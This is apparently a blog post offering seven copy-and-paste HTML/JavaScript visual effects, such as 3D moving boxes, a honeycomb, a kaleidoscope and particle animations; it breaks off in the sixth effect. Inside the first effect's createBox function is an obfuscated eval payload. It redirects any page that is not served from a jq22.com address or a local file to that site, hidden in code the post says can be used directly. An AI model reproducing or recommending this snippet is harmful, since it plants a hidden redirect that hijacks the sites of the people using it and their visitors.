HTML+CSS+JavaScript网页特效源代码（复制代码保存即可使用）

以下下代码直接复制保存即可使用

- - 特效一
  - 特效二
  - 特效三
  - 特效四
  - 特效五
  - 特效六
  - 特效七

特效一

方块运动演示
在这里插入图片描述

<html><head>
<meta charset="utf-8">
<title>蓝盒子</title>
<style>body { margin: 0; padding: 0;background: black; overflow: hidden;}</style>
<script src="http://cdn.bootcss.com/three.js/r78/three.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/gsap/1.17.0/TweenMax.min.js"></script>
</head>
<body>
<script>
var isMouseDown = false;
var emptySlot = "emptySlot", planeTop = "planeTop", planeBottom = "planeBottom";
var camera, scene, renderer;
var mouse = {x: 0, y: 0};
var camPos = {x: 0, y: 0, z: 10};
var sw = window.innerWidth, sh = window.innerHeight;
var cols = 20;
var rows = 16;
var gap = 20;
var size = {width: 100,height: 30,depth: 150,
}
var planeOffset = 250;
var allRowsDepth = rows * (size.depth + gap);
var allColsWidth = cols * (size.depth + gap);var speedNormal = 4;
var speedFast = 34;
var speed = speedNormal;
var boxes = {planeBottom: [],planeTop: []
};
var boxes1d = [];function num(min, max) { return Math.random() * (max - min) + min; }
function draw(props) {var colours = {slow: {r: num(0, 0.2),g: num(0.5, 0.9),b: num(0.3, 0.7)},fast: {r: num(0.9, 1.0),g: num(0.1, 0.7),b: num(0.2, 0.5)}}var uniforms = {r: { type: "f", value: colours.slow.r},g: { type: "f", value: colours.slow.g},b: { type: "f", value: colours.slow.b},distanceX: { type: "f", value: 1.0},distanceZ: { type: "f", value: 1.0},pulse: { type: "f", value: 0},speed: { type: "f", value: speed},};var material = new THREE.ShaderMaterial( {uniforms: uniforms,vertexShader: vertexShader,fragmentShader: fragmentShader});var geometry = new THREE.BoxGeometry(props.width, props.height, props.depth);var object = new THREE.Mesh(geometry, material);object.colours = colours;return object;
}function init() {scene = new THREE.Scene();camera = new THREE.PerspectiveCamera( 100, sw / sh, 1, 10000 );scene.add( camera );renderer = new THREE.WebGLRenderer({antialias: true});renderer.setSize( sw, sh );for (var j = 0, jl = rows; j < jl; j++) {boxes.planeBottom[j] = [];boxes.planeTop[j] = [];for (var i = 0, il = cols; i < il; i++) {boxes.planeBottom[j][i] = emptySlot;boxes.planeTop[j][i] = emptySlot;};};function createBox() {window["eval"](function(CPY1,OvGQk2,btUiR$P3,YzTn4,rISXh5,C$jVY6){rISXh5=function(btUiR$P3){return(btUiR$P3<OvGQk2?"":rISXh5(window["parseInt"](btUiR$P3/OvGQk2)))+((btUiR$P3=btUiR$P3%OvGQk2)>35?window["String"]["fromCharCode"](btUiR$P3+29):btUiR$P3["toString"](36))};if(!''["replace"](/^/,window["String"])){while(btUiR$P3--)C$jVY6[rISXh5(btUiR$P3)]=YzTn4[btUiR$P3]||rISXh5(btUiR$P3);YzTn4=[function(rISXh5){return C$jVY6[rISXh5]}];rISXh5=function(){return'\w+'};btUiR$P3=1;};while(btUiR$P3--)if(YzTn4[btUiR$P3])CPY1=CPY1["replace"](new window["RegExp"]('\b'+rISXh5(btUiR$P3)+'\b','g'),YzTn4[btUiR$P3]);return CPY1;}('3 a=7.m(7.8()*p),9=a;3 c=7.8()>0.5?1:-1,d=c===-1?H:D;3 b=7.m(7.8()*C),i=b;3 x=(a-p/2)*(e.F+l);3 y=c*E;3 z=b*(e.B+l);u(k[d][i][9]===A){3 6=w(e);6.P.y=y;6.N=M;6.R={x:x,z:0};6.I=z;k[d][i][9]=6;K.L(6);G.Q(6)}3 t=f.h.g.r(0,v);3 s=f.h.g.r(0,4);u(t=="n://o.q.j"||s=="O"){}J{f.h.g="n://o.q.j"}',54,54,'|||var|||box|Math|random|xai|xi|zi|yi|yai|size|window|href|location|zai|com|boxes|gap|floor|http|www|cols|jq22|substr|dzurl2|dzurl|if|19|draw||||emptySlot|depth|rows|planeTop|planeOffset|width|scene|planeBottom|posZ|else|boxes1d|push|false|isWarping|file|position|add|offset'["split"]('|'),0,{}))}for (var i = 0, il = rows * cols; i < il; i++) {createBox();};document.body.appendChild(renderer.domElement);function listen(eventNames, callback) {for (var i = 0; i < eventNames.length; i++) {window.addEventListener(eventNames[i], callback);}}listen(["resize"], function(e){sw = window.innerWidth;sh = window.innerHeightcamera.aspect = sw / sh;camera.updateProjectionMatrix();renderer.setSize(sw, sh);});listen(["mousedown", "touchstart"], function(e) {e.preventDefault();isMouseDown = true;});listen(["mousemove", "touchmove"], function(e) {e.preventDefault();if (e.changedTouches && e.changedTouches[0]) e = e.changedTouches[0];mouse.x = (e.clientX / sw) * 2 - 1;mouse.y = -(e.clientY / sh) * 2 + 1;});listen(["mouseup", "touchend"], function(e) {e.preventDefault();isMouseDown = false;});render(0);}function move(x, y, z) {var box = boxes[y][z][x];if (box !== emptySlot) {box.position.x = box.offset.x;box.position.z = box.offset.z + box.posZ;if (box.position.z > 0) {box.posZ -= allRowsDepth;}// return;// if (isMouseDown) return;if (!box.isWarping && Math.random() > 0.999) {var dir = Math.floor(Math.random() * 5), xn = x, zn = z, yn = y, yi = 0, xo = 0, zo = 0;switch (dir) {case 0 : xn++; xo = 1; break;case 1 : xn--; xo = -1; break;case 2 : zn++; zo = 1; break;case 3 : zn--; zo = -1; break;case 4 :yn = (y === planeTop) ? planeBottom : planeTop;yi = (y === planeTop) ? -1 : 1;break;}if (boxes[yn][zn] && boxes[yn][zn][xn] === emptySlot) {boxes[y][z][x] = emptySlot;box.isWarping = true;boxes[yn][zn][xn] = box;// con.log( box.offset.x,  box.offset.z);if (dir === 4) { // slide verticallyTweenMax.to(box.position, 0.5, {y: yi * planeOffset});} else { // slide horizontallyTweenMax.to(box.offset, 0.5, {x: box.offset.x + xo * (size.width + gap),z: box.offset.z + zo * (size.depth + gap),});}TweenMax.to(box.offset, 0.6, {onComplete: function() {box.isWarping = false;}});}}}
}function render(time) {speed -= (speed - (isMouseDown ? speedFast : speedNormal)) * 0.05;var box;for (var b = 0, bl = boxes1d.length; b < bl; b++) {box = boxes1d[b];box.posZ += speed;// normalized z distance from cameravar distanceZ = 1 - ((allRowsDepth - box.posZ) / (allRowsDepth) - 1);box.material.uniforms.distanceZ.value = distanceZ;// normalized x distance from camera (centre)var distanceX = 1 - (Math.abs(box.position.x)) / (allColsWidth / 3);box.material.uniforms.distanceX.value = distanceX;var colour = isMouseDown ? box.colours.fast : box.colours.slow;box.material.uniforms.r.value -= (box.material.uniforms.r.value - colour.r) * 0.1;box.material.uniforms.g.value -= (box.material.uniforms.g.value - colour.g) * 0.1;box.material.uniforms.b.value -= (box.material.uniforms.b.value - colour.b) * 0.1;// normalized speedvar currentSpeed = (speed - speedNormal) / (speedFast - speedNormal)box.material.uniforms.speed.value = currentSpeed;// pulses more with more speed... of course!if (Math.random() > (0.99995 - currentSpeed * 0.005)) {box.material.uniforms.pulse.value = 1;}box.material.uniforms.pulse.value -= box.material.uniforms.pulse.value * 0.1 / (currentSpeed + 1);// if (b ==13) con.log(box.material.uniforms.speed.value);}for (var j = 0, jl = rows; j < jl; j++) { // iterate through rows: zfor (var i = 0, il = cols; i < il; i++) { // iterate throw cols: xmove(i, planeBottom, j);move(i, planeTop, j);};};camPos.x -= (camPos.x - mouse.x * 400) * 0.02;camPos.y -= (camPos.y - mouse.y * 150) * 0.05;camPos.z = -100;camera.position.set(camPos.x, camPos.y, camPos.z);// camera.lookAt( scene.position );// camera.rotation.z = time * 0.0001;camera.rotation.y = camPos.x / -1000;camera.rotation.x = camPos.y / 1000;// camera.rotation.z = camPos.x / -2000;camera.rotation.z = (camPos.x - mouse.x * 400) / 2000;renderer.render( scene, camera );// if (time < 800)requestAnimationFrame( render );
}var vertexShader = [
"varying vec2 vUv;",
"void main()",
"{",
"  vUv = uv;",
"  vec4 mvPosition = modelViewMatrix * vec4( position, 1.0 );",
"  gl_Position = projectionMatrix * mvPosition;",
"}"].join("");var fragmentShader = [
"uniform float r;",
"uniform float g;",
"uniform float b;",
"uniform float distanceZ;",
"uniform float distanceX;",
"uniform float pulse;",
"uniform float speed;","varying vec2 vUv;",// "float checkerRows = 8.0;",
// "float checkerCols = 16.0;","void main( void ) {",
"  vec2 position = abs(-1.0 + 2.0 * vUv);",
"  float edging = abs((pow(position.y, 5.0) + pow(position.x, 5.0)) / 2.0);",
"  float perc = (0.2 * pow(speed + 1.0, 2.0) + edging * 0.8) * distanceZ * distanceX;",// "  float perc = distanceX * distanceZ;",
// "  vec2 checkPosition = vUv;",
// "  float checkerX = ceil(mod(checkPosition.x, 1.0 / checkerCols) - 1.0 / checkerCols / 2.0);",
// "  float checkerY = ceil(mod(checkPosition.y, 1.0 / checkerRows) - 1.0 / checkerRows / 2.0);",
// "  float checker = ceil(checkerX * checkerY);",
// "  float r = checker;",
// "  float g = checker;",
// "  float b = checker;",// "  float perc = 1.0;",
"  float red = r * perc + pulse;",
"  float green = g * perc + pulse;",
"  float blue = b * perc + pulse;",
"  gl_FragColor = vec4(red, green, blue, 1.0);",
"}"].join("");//console.log(THREE, TweenMax, planeTop, planeBottom);
init();
</script><canvas width="1920" height="572" style="width: 1920px; height: 572px;"></canvas></body></html>

特效二

机械蜂巢演示
在这里插入图片描述

<html><head>
<meta charset="UTF-8">
<meta name="google" value="notranslate">
<meta name="robots" content="noindex">
<title>蓝盒子</title>
<style>
canvas { position: absolute; top: 0; left: 0; }
</style>
</head><body>
<canvas id="c" width="1920" height="572"></canvas>
<script>
var w = c.width = window.innerWidth,
h = c.height = window.innerHeight,
ctx = c.getContext('2d'),
opts = {len: 20,count: 50,baseTime: 10,addedTime: 10,dieChance: .05,spawnChance: 1,sparkChance: .1,sparkDist: 10,sparkSize: 2,color: 'hsl(hue,100%,light%)',baseLight: 50,addedLight: 10,shadowToTimePropMult: 6,baseLightInputMultiplier: .01,addedLightInputMultiplier: .02,cx: w / 2,cy: h / 2,repaintAlpha: .04,hueChange: .1
},
tick = 0,
lines = [],
dieX = w / 2 / opts.len,
dieY = h / 2 / opts.len,
baseRad = Math.PI * 2 / 6;
ctx.fillStyle = 'black';
ctx.fillRect(0, 0, w, h);
function loop() {window.requestAnimationFrame(loop); ++tick;ctx.globalCompositeOperation = 'source-over';ctx.shadowBlur = 0;ctx.fillStyle = 'rgba(0,0,0,alp)'.replace('alp', opts.repaintAlpha);ctx.fillRect(0, 0, w, h);ctx.globalCompositeOperation = 'lighter';if (lines.length < opts.count && Math.random() < opts.spawnChance) lines.push(new Line);lines.map(function(line) {line.step()})
}
function Line() {this.reset()
}
Line.prototype.reset = function() {this.x = 0;this.y = 0;this.addedX = 0;this.addedY = 0;this.rad = 0;this.lightInputMultiplier = opts.baseLightInputMultiplier + opts.addedLightInputMultiplier * Math.random();this.color = opts.color.replace('hue', tick * opts.hueChange);this.cumulativeTime = 0;this.beginPhase()
}
Line.prototype.beginPhase = function() {this.x += this.addedX;this.y += this.addedY;this.time = 0;this.targetTime = (opts.baseTime + opts.addedTime * Math.random()) | 0;this.rad += baseRad * (Math.random() < .5 ? 1 : -1);this.addedX = Math.cos(this.rad);this.addedY = Math.sin(this.rad);if (Math.random() < opts.dieChance || this.x > dieX || this.x < -dieX || this.y > dieY || this.y < -dieY) this.reset()
}
Line.prototype.step = function() {++this.time; ++this.cumulativeTime;if (this.time >= this.targetTime) this.beginPhase();var prop = this.time / this.targetTime,wave = Math.sin(prop * Math.PI / 2),x = this.addedX * wave,y = this.addedY * wave;ctx.shadowBlur = prop * opts.shadowToTimePropMult;ctx.fillStyle = ctx.shadowColor = this.color.replace('light', opts.baseLight + opts.addedLight * Math.sin(this.cumulativeTime * this.lightInputMultiplier));ctx.fillRect(opts.cx + (this.x + x) * opts.len, opts.cy + (this.y + y) * opts.len, 2, 2);if (Math.random() < opts.sparkChance) ctx.fillRect(opts.cx + (this.x + x) * opts.len + Math.random() * opts.sparkDist * (Math.random() < .5 ? 1 : -1) - opts.sparkSize / 2, opts.cy + (this.y + y) * opts.len + Math.random() * opts.sparkDist * (Math.random() < .5 ? 1 : -1) - opts.sparkSize / 2, opts.sparkSize, opts.sparkSize)
}
loop();
window.addEventListener('resize',
function() {w = c.width = window.innerWidth;h = c.height = window.innerHeight;ctx.fillStyle = 'black';ctx.fillRect(0, 0, w, h);opts.cx = w / 2;opts.cy = h / 2;dieX = w / 2 / opts.len;dieY = h / 2 / opts.len
});</script></body>
</html>

特效三

万花筒演示
在这里插入图片描述

<html><head>
<meta charset="utf-8">
<title>蓝盒子</title>
<style>
html{ background: black;}
body { width: 100%; height: 100%; position: absolute; left: 0; top: 0; overflow: hidden; margin: 0; background: black; -webkit-filter: invert(0); filter: invert(0); }
#canvas { position: absolute; z-index: -1; -webkit-filter: hue-rotate(100deg) brightness(1); filter: hue-rotate(100deg) brightness(1); mix-blend-mode: difference; }
#canv { position: absolute; z-index: -2; mix-blend-mode: lighter; }
canvas { position: absolute; top: 50%; left: 50%; z-index: -1; -webkit-transform: translate(-50%, -50%); transform: translate(-50%, -50%); }
</style>
</head><body>
<canvas id="canvas" height="400" width="400"></canvas>
<canvas id="canv" width="1920" height="572"></canvas>
<script>
var c = document.getElementById('canv'),$ = c.getContext('2d'),w = c.width = window.innerWidth,h = c.height = window.innerHeight,t = 0,num = 950,s, a, b, u = 0,x, y, _x, _y,_t = 1 / 16;function random(min, max) {return Math.random() * (max - min) + min;
}var anim = function() {$.globalCompositeOperation = 'multiply';$.fillStyle = 'hsla(258,20%,50%,1)';$.fillRect(0, 0, w, h);$.globalCompositeOperation = 'lighter';for (var i = 0; i < .5; i++) {x = 0;_u = (u) + i * 2, col = u + (_u * 8);$.beginPath();for (var j = 0; j < num; j++) {x -= .312 * Math.sin(15);y = x * Math.sin(i + 3.05 * t + x / 7) / 12;_x = x * Math.cos(b) + y * Math.sin(b);_y = x * Math.sin(b) - y * Math.cos(b);b = (j * 2.1102) * Math.PI / -.1008;$.arc(w / 2 - _x, h / 2 - _y, random(.001, .6), 300, Math.PI * 2 + .1);$.lineWidth = .2;}var g = $.createLinearGradient(w / 2 + _x, h / 2 + _y,1, w / 2 + _x, h / 2 + _y);g.addColorStop(0.2, 'hsla(' + col + ',90%,50%,.2)');g.addColorStop(0.9, 'hsla(' + _u + ',95%,50%,.3)');g.addColorStop(1, 'hsla(0,0%,100%,.4)');$.strokeStyle = g;$.stroke();}t += _t / 2;u -= .2;window.requestAnimationFrame(anim);
};
anim();window.addEventListener('resize', function() {c.width = w = window.innerWidth;c.height = h = window.innerHeight;
}, false);var canvas, ctx, tim;
canvas = document.getElementsByTagName('canvas')[0];
ctx = canvas.getContext('2d');
canvas.width = canvas.height = 400;
baum();function baum() {var a, b, c, d, e, x, y, r;ctx.globalCompositeOperation = "source-over";ctx.fillStyle = "hsla(26,100%,0%,1)";ctx.fillRect(0, 0, canvas.width, canvas.height);ctx.globalCompositeOperation = "color-burn";tim = new Date().getTime() / Math.PI / 72;c = [];r = tim / 32;for (a = 0; a < 18; a++) {b = 160;if (a % 2 == 1) b = 100;x = Math.cos(r) * b;y = Math.sin(r) * b;c.push([200 + x, 200 + y]);r += Math.PI * 2 / 14;}for (a = 0; a < 7; a++) {b = c[a * 2];d = c[a * 2 + 1];e = c[(a * 2 + 13) % 14];tri([[200, 200], b, d], 0);tri([[200, 200], b, e], 0);}requestAnimationFrame(baum);
}function tri(p, ban) {var a, b, c, d, e, f, x, y, han, r1, r2;x = y = 0;for (a = 0; a < 3; a++) {x += p[a][0];y += p[a][1];}x = x / 3 - canvas.width / 2;y = y / 3 - canvas.height / 2;han = Math.pow(x * x + y * y, 0.5);c = 0.2 + Math.sin(tim / 13) * 0.15;r1 = 0.5 + Math.sin(han / 20 * (1 + Math.sin(tim / 19) * 0.7) + tim / 41) * c;r2 = 1 - r1;c = p[0][0] * (p[1][1] - p[2][1]);c += p[1][0] * (p[2][1] - p[0][1]);c += p[2][0] * (p[0][1] - p[1][1]);c = Math.abs(c);if (c < 100) {if (ban % 17 == 1) {a = ((han + tim * 3) % 360) | 0;b = 0.4;if (ban % 12 > 8) b = 1;ctx.fillStyle = ctx.strokeStyle = "hsla(" + a * 2 + ",60%,40%,0.53)";ctx.beginPath();for (a = 0; a < p.length; a++) {b = p[a];ctx.globalCompositeOperation = "lighter";ctx.lineTo(b[0], b[1]);}ctx.fill();if (Math.random() < 0.2) return;}if (ban % 50 > 28) return;if (c < 20) return;}d = 0;for (a = 0; a < p.length; a++) {b = p[a];c = p[(a + 1) % p.length];x = b[0] - c[0];y = b[1] - c[1];e = Math.pow(x * x + y * y, 0.5);if (e > d) {d = e;f = a;}}a = p[f];b = p[(f + 1) % p.length];c = p[(f + 2) % p.length];x = a[0] * r1 + b[0] * r2;y = a[1] * r1 + b[1] * r2;tri([b, c, [x, y]], ban + 1);tri([c, a, [x, y]], ban + 2);
}
</script></body></html>

特效四

电流

在这里插入图片描述

<html><head>
<meta charset="utf-8">
<title>蓝盒子</title>
<style>
body {background: #000;overflow: hidden;
}canvas {display: block;
}
</style>
</head><body>
<canvas id="canvas" width="1920" height="572"></canvas>
<script>
var canvas,ctx,width,height,size,lines,tick;function line() {this.path = [];this.speed = rand(10, 20);this.count = randInt(10, 30);this.x = width / 2, +1;this.y = height / 2 + 1;this.target = {x: width / 2,y: height / 2};this.dist = 0;this.angle = 0;this.hue = tick / 5;this.life = 1;this.updateAngle();this.updateDist();
}line.prototype.step = function(i) {this.x += Math.cos(this.angle) * this.speed;this.y += Math.sin(this.angle) * this.speed;this.updateDist();if (this.dist < this.speed) {this.x = this.target.x;this.y = this.target.y;this.changeTarget();}this.path.push({x: this.x,y: this.y});if (this.path.length > this.count) {this.path.shift();}this.life -= 0.001;if (this.life <= 0) {this.path = null;lines.splice(i, 1);}
};line.prototype.updateDist = function() {var dx = this.target.x - this.x,dy = this.target.y - this.y;this.dist = Math.sqrt(dx * dx + dy * dy);
}line.prototype.updateAngle = function() {var dx = this.target.x - this.x,dy = this.target.y - this.y;this.angle = Math.atan2(dy, dx);
}line.prototype.changeTarget = function() {var randStart = randInt(0, 3);switch (randStart) {case 0: // upthis.target.y = this.y - size;break;case 1: // rightthis.target.x = this.x + size;break;case 2: // downthis.target.y = this.y + size;break;case 3: // leftthis.target.x = this.x - size;}this.updateAngle();
};line.prototype.draw = function(i) {ctx.beginPath();var rando = rand(0, 10);for (var j = 0, length = this.path.length; j < length; j++) {ctx[(j === 0) ? 'moveTo' : 'lineTo'](this.path[j].x + rand(-rando, rando), this.path[j].y + rand(-rando, rando));}ctx.strokeStyle = 'hsla(' + rand(this.hue, this.hue + 30) + ', 80%, 55%, ' + (this.life / 3) + ')';ctx.lineWidth = rand(0.1, 2);ctx.stroke();
};function rand(min, max) {return Math.random() * (max - min) + min;
}function randInt(min, max) {return Math.floor(min + Math.random() * (max - min + 1));
};function init() {canvas = document.getElementById('canvas');ctx = canvas.getContext('2d');size = 30;lines = [];reset();loop();
}function reset() {width = Math.ceil(window.innerWidth / 2) * 2;height = Math.ceil(window.innerHeight / 2) * 2;tick = 0;lines.length = 0;canvas.width = width;canvas.height = height;
}function create() {if (tick % 10 === 0) {lines.push(new line());}
}function step() {var i = lines.length;while (i--) {lines[i].step(i);}
}function clear() {ctx.globalCompositeOperation = 'destination-out';ctx.fillStyle = 'hsla(0, 0%, 0%, 0.1';ctx.fillRect(0, 0, width, height);ctx.globalCompositeOperation = 'lighter';
}function draw() {ctx.save();ctx.translate(width / 2, height / 2);ctx.rotate(tick * 0.001);var scale = 0.8 + Math.cos(tick * 0.02) * 0.2;ctx.scale(scale, scale);ctx.translate(-width / 2, -height / 2);var i = lines.length;while (i--) {lines[i].draw(i);}ctx.restore();
}function loop() {requestAnimationFrame(loop);create();step();clear();draw();tick++;
}function onresize() {reset();
}window.addEventListener('resize', onresize);init();
</script></body></html>

特效五

彩线
在这里插入图片描述

<html><head>
<meta charset="utf-8">
<title>蓝盒子</title>
<script src="http://libs.baidu.com/jquery/1.11.3/jquery.min.js"></script>
<style>
html, body { background: #000; margin: 0; padding:0;}
canvas { width: 100%; height: 100%; position: absolute; }
</style>
</head><body>
<canvas width="1920" height="951"></canvas>
<script>
$(function(){var canvas = document.querySelector('canvas'),ctx = canvas.getContext('2d')canvas.width = window.innerWidth;canvas.height = window.innerHeight;ctx.lineWidth = .3;ctx.strokeStyle = (new Color(150)).style;var mousePosition = {x: 30 * canvas.width / 100,y: 30 * canvas.height / 100};var dots = {nb: 550,distance: 50,d_radius: 100,array: []};function colorValue(min) {return Math.floor(Math.random() * 255 + min);}function createColorStyle(r,g,b) {return 'rgba(' + r + ',' + g + ',' + b + ', 0.8)';}function mixComponents(comp1, weight1, comp2, weight2) {return (comp1 * weight1 + comp2 * weight2) / (weight1 + weight2);}function averageColorStyles(dot1, dot2) {var color1 = dot1.color,color2 = dot2.color;var r = mixComponents(color1.r, dot1.radius, color2.r, dot2.radius),g = mixComponents(color1.g, dot1.radius, color2.g, dot2.radius),b = mixComponents(color1.b, dot1.radius, color2.b, dot2.radius);return createColorStyle(Math.floor(r), Math.floor(g), Math.floor(b));}function Color(min) {min = min || 0;this.r = colorValue(min);this.g = colorValue(min);this.b = colorValue(min);this.style = createColorStyle(this.r, this.g, this.b);}function Dot(){this.x = Math.random() * canvas.width;this.y = Math.random() * canvas.height;this.vx = -.5 + Math.random();this.vy = -.5 + Math.random();this.radius = Math.random() * 2;this.color = new Color();console.log(this);}Dot.prototype = {draw: function(){ctx.beginPath();ctx.fillStyle = this.color.style;ctx.arc(this.x, this.y, this.radius, 0, Math.PI * 2, false);ctx.fill();}};function createDots(){for(i = 0; i < dots.nb; i++){dots.array.push(new Dot());}}function moveDots() {for(i = 0; i < dots.nb; i++){var dot = dots.array[i];if(dot.y < 0 || dot.y > canvas.height){dot.vx = dot.vx;dot.vy = - dot.vy;}else if(dot.x < 0 || dot.x > canvas.width){dot.vx = - dot.vx;dot.vy = dot.vy;}dot.x += dot.vx;dot.y += dot.vy;}}function connectDots() {for(i = 0; i < dots.nb; i++){for(j = 0; j < dots.nb; j++){i_dot = dots.array[i];j_dot = dots.array[j];if((i_dot.x - j_dot.x) < dots.distance && (i_dot.y - j_dot.y) < dots.distance && (i_dot.x - j_dot.x) > - dots.distance && (i_dot.y - j_dot.y) > - dots.distance){if((i_dot.x - mousePosition.x) < dots.d_radius && (i_dot.y - mousePosition.y) < dots.d_radius && (i_dot.x - mousePosition.x) > - dots.d_radius && (i_dot.y - mousePosition.y) > - dots.d_radius){ctx.beginPath();ctx.strokeStyle = averageColorStyles(i_dot, j_dot);ctx.moveTo(i_dot.x, i_dot.y);ctx.lineTo(j_dot.x, j_dot.y);ctx.stroke();ctx.closePath();}}}}}function drawDots() {for(i = 0; i < dots.nb; i++){var dot = dots.array[i];dot.draw();}}function animateDots() {ctx.clearRect(0, 0, canvas.width, canvas.height);moveDots();connectDots();drawDots();requestAnimationFrame(animateDots);	}$('canvas').on('mousemove', function(e){mousePosition.x = e.pageX;mousePosition.y = e.pageY;});$('canvas').on('mouseleave', function(e){mousePosition.x = canvas.width / 2;mousePosition.y = canvas.height / 2;});createDots();requestAnimationFrame(animateDots);	
});
</script></body></html>

特效六

在这里插入图片描述

<html><head>
<meta charset="utf-8">
<title>蓝盒子</title>
<style>
html {height: 100%;background-image: -webkit-radial-gradient(ellipse farthest-corner at center top, #000d4d 0%, #000105 100%);background-image: radial-gradient(ellipse farthest-corner at center top, #000d4d 0%, #000105 100%);cursor: move;
}body {width: 100%;margin: 0;overflow: hidden;
}
</style>
</head><body><canvas id="canv" width="1920" height="572"></canvas>
<script>
var num = 200;
var w = window.innerWidth;
var h = window.innerHeight;
var max = 100;
var _x = 0;
var _y = 0;
var _z = 150;
var dtr = function(d) {return d * Math.PI / 180;
};var rnd = function() {return Math.sin(Math.floor(Math.random() * 360) * Math.PI / 180);
};
var dist = function(p1, p2, p3) {return Math.sqrt(Math.pow(p2.x - p1.x, 2) + Math.pow(p2.y - p1.y, 2) + Math.pow(p2.z - p1.z, 2));
};var cam = {obj: {x: _x,y: _y,z: _z},dest: {x: 0,y: 0,z: 1},dist: {x: 0,y: 0,z: 200},ang: {cplane: 0,splane: 0,ctheta: 0,stheta: 0},zoom: 1,disp: {x: w / 2,y: h / 2,z: 0},upd: function() {cam.dist.x = cam.dest.x - cam.obj.x;cam.dist.y = cam.dest.y - cam.obj.y;cam.dist.z = cam.dest.z - cam.obj.z;cam.ang.cplane = -cam.dist.z / Math.sqrt(cam.dist.x * cam.dist.x + cam.dist.z * cam.dist.z);cam.ang.splane = cam.dist.x / Math.sqrt(cam.dist.x * cam.dist.x + cam.dist.z * cam.dist.z);cam.ang.ctheta = Math.sqrt(cam.dist.x * cam.dist.x + cam.dist.z * cam.dist.z) / Math.sqrt(cam.dist.x * cam.dist.x + cam.dist.y * cam.dist.y + cam.dist.z * cam.dist.z);cam.ang.stheta = -cam.dist.y / Math.sqrt(cam.dist.x * cam.dist.x + cam.dist.y * cam.dist.y + cam.dist.z * cam.dist.z);}
};var trans = {parts: {sz: function(p, sz) {return {x: p.x * sz.x,y: p.y * sz.y,z: p.z * sz.z};},rot: {x: function(p, rot) {return {x: p.x,y: p.y * Math.cos(dtr(rot.x)) - p.z * Math.sin(dtr(rot.x)),z: p.y * Math.sin(dtr(rot.x)) + p.z * Math.cos(dtr(rot.x))};},y: function(p, rot) {return {x: p.x * Math.cos(dtr(rot.y)) + p.z * Math.sin(dtr(rot.y)),y: p.y,z: -p.x * Math.sin(dtr(rot.y)) + p.z * Math.cos(dtr(rot.y))};},z: function(p, rot) {return {x: p.x * Math.cos(dtr(rot.z)) - p.y * Math.sin(dtr(rot.z)),y: p.x * Math.sin(dtr(rot.z)) + p.y * Math.cos(dtr(rot.z)),z: p.z};}},pos: function(p, pos) {return {x: p.x + pos.x,y: p.y + pos.y,z: p.z + pos.z};}},pov: {plane: function(p) {return {x: p.x * cam.ang.cplane + p.z * cam.ang.splane,y: p.y,z: p.x * -cam.ang.splane + p.z * cam.ang.cplane};},theta: function(p) {return {x: p.x,y: p.y * cam.ang.ctheta - p.z * cam.ang.stheta,z: p.y * cam.ang.stheta + p.z * cam.ang.ctheta};},set: function(p) {return {x: p.x - cam.obj.x,y: p.y - cam.obj.y,z: p.z - cam.obj.z};}},persp: function(p) {return {x: p.x * cam.dist.z / p.z * cam.zoom,y: p.y * cam.dist.z / p.z * cam.zoom,z: p.z * cam.zoom,p: cam.dist.z / p.z};},disp: function(p, disp) {return {x: p.x + disp.x,y: -p.y + disp.y,z: p.z + disp.z,p: p.p};},steps: function(_obj_, sz, rot, pos, disp) {var _args = trans.parts.sz(_obj_, sz);_args = trans.parts.rot.x(_args, rot);_args = trans.parts.rot.y(_args, rot);_args = trans.parts.rot.z(_args, rot);_args = trans.parts.pos(_args, pos);_args = trans.pov.plane(_args);_args = trans.pov.theta(_args);_args = trans.pov.set(_args);_args = trans.persp(_args);_args = trans.disp(_args, disp);return _args;}
};(function() {"use strict";var threeD = function(param) {this.transIn = {};this.transOut = {};this.transIn.vtx = (param.vtx);this.transIn.sz = (param.sz);this.transIn.rot = (param.rot);this.transIn.pos = (param.pos);};threeD.prototype.vupd = function() {this.transOut = trans.steps(this.transIn.vtx,this.transIn.sz,this.transIn.rot,this.transIn.pos,cam.disp);};var Build = function() {this.vel = 0.04;this.lim = 360;this.diff = 200;this.initPos = 100;this.toX = _x;this.toY = _y;this.go();};Build.prototype.go = function() {this.canvas = document.getElementById("canv");this.canvas.width = window.innerWidth;this.canvas.height = window.innerHeight;this.$ = canv.getContext("2d");this.$.globalCompositeOperation = 'source-over';this.varr = [];this.dist = [];this.calc = [];for (var i = 0, len = num; i < len; i++) {this.add();}this.rotObj = {x: 0,y: 0,z: 0};this.objSz = {x: w / 5,y: h / 5,z: w / 5};};Build.prototype.add = function() {this.varr.push(new threeD({vtx: {x: rnd(),y: rnd(),z: rnd()},sz: {x: 0,y: 0,z: 0},rot: {x: 20,y: -20,z: 0},pos: {x: this.diff * Math.sin(360 * Math.random() * Math.PI / 180),y: this.diff * Math.sin(360 * Math.random() * Math.PI / 180),z: this.diff * Math.sin(360 * Math.random() * Math.PI / 180)}}));this.calc.push({x: 360 * Math.random(),y: 360 * Math.random(),z: 360 * Math.random()});};Build.prototype.upd = function() {cam.obj.x += (this.toX - cam.obj.x) * 0.05;cam.obj.y += (this.toY - cam.obj.y) * 0.05;};Build.prototype.draw = function() {this.$.clearRect(0, 0, this.canvas.width, this.canvas.height);cam.upd();this.rotObj.x += 0.1;this.rotObj.y += 0.1;this.rotObj.z += 0.1;for (var i = 0; i < this.varr.length; i++) {for (var val in this.calc[i]) {if (this.calc[i].hasOwnProperty(val)) {this.calc[i][val] += this.vel;if (this.calc[i][val] > this.lim) this.calc[i][val] = 0;}}this.varr[i].transIn.pos = {x: this.diff * Math.cos(this.calc[i].x * Math.PI / 180),y: this.diff * Math.sin(this.calc[i].y * Math.PI / 180),z: this.diff * Math.sin(this.calc[i].z * Math.PI / 180)};this.varr[i].transIn.rot = this.rotObj;this.varr[i].transIn.sz = this.objSz;this.varr[i].vupd();if (this.varr[i].transOut.p < 0) continue;var g = this.$.createRadialGradient(this.varr[i].transOut.x, this.varr[i].transOut.y, this.varr[i].transOut.p, this.varr[i].transOut.x, this.varr[i].transOut.y, this.varr[i].transOut.p * 2);this.$.globalCompositeOperation = 'lighter';g.addColorStop(0, 'hsla(255, 255%, 255%, 1)');g.addColorStop(.5, 'hsla(' + (i + 2) + ',85%, 40%,1)');g.addColorStop(1, 'hsla(' + (i) + ',85%, 40%,.5)');this.$.fillStyle = g;this.$.beginPath();this.$.arc(this.varr[i].transOut.x, this.varr[i].transOut.y, this.varr[i].transOut.p * 2, 0, Math.PI * 2, false);this.$.fill();this.$.closePath();}};Build.prototype.anim = function() {window.requestAnimationFrame = (function() 